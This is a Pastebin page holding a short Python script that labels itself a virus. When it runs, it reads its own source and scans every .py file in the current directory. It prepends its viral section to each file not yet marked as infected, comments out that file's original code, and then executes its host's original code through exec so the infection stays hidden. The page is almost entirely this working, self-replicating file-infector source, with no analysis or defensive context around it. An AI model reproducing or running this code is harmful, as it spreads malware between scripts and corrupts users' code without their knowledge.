Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python
- # === INFECTED ===
- #^ This is the marker for the beginning of the virus
- import os
- from sys import argv
- # Read the tsxt from this file
- this_file = open(argv[0])
- this_lines = this_file.readlines()
- this_file.close()
- for i in range(len(this_lines)):
- # orig_index is the line where the non-virulent code starts
- if this_lines[i] == "# === ORIGINAL ===\n":
- orig_index = i + 1
- break
- for fname in os.listdir('.'):
- if fname.find('.py') == len(fname) - len('.py'):
- try:
- script_file = open(fname, 'r+')
- target_lines = script_file.readlines()
- script_file.seek(0)
- try:
- if target_lines[1] != "# === INFECTED ===\n": # Found infected file
- script_file.write("".join(this_lines[:orig_index])) # infect it
- for target_line in target_lines:
- script_file.write("# %s" % target_line)
- script_file.close()
- except: # Something went wrong. Reverse the changes
- script_file.close()
- script_file = open(fname, 'w')
- for target_line in target_lines:
- script_file.write(target_line)
- script_file.close()
- os._exit(1)
- except:
- pass
- # Now execute the non-virulent code
- exec("".join(map(lambda x: x[2:], this_lines[orig_index:])))
- # v This is the marker to indicate the end of the virulent code
- # === ORIGINAL ===
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement